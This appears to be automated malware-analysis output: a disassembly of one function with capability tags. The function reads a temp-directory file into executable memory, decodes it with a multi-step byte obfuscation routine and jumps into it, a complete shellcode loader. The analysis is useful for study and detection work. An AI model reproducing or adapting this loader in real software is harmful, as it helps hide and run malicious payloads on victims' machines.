Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
mov eax, dword [str.ccnkuxi.kjg]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x40f004]
mov dword [ebp - 0x2c], ecx
mov edx, dword [0x40f008]
mov dword [ebp - 0x28], edx
mov eax, dword [0x40f00c]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x40f010]
mov dword [ebp - 0x20], ecx
mov edx, dword [0x40f014]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 8], 0
push str.lstrcatW
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x23c]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x40107a
jmp 0x40dd45
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x23c]
push edx
call dword [ebp - 0x18]
test eax, eax
jne 0x401091
jmp 0x40dd45
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4010be
jmp 0x40dd45
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
push 0x40
push 0x3000
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401104
jmp 0x40dd45
mov dword [ebp - 8], 0
jmp 0x401116
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x14]
jae 0x40121c
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov cl, byte [eax]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0x56
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0x33
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 7
movzx eax, byte [ebp - 1]
shl eax, 1
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
add ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0x49
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, 0x44
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0x3a
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0xd5
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ebp - 1]
mov byte [ecx], dl
jmp 0x40110d
mov eax, dword [ebp - 0xc]
jmp eax
pop ebx
mov esp, ebp
pop ebp
ret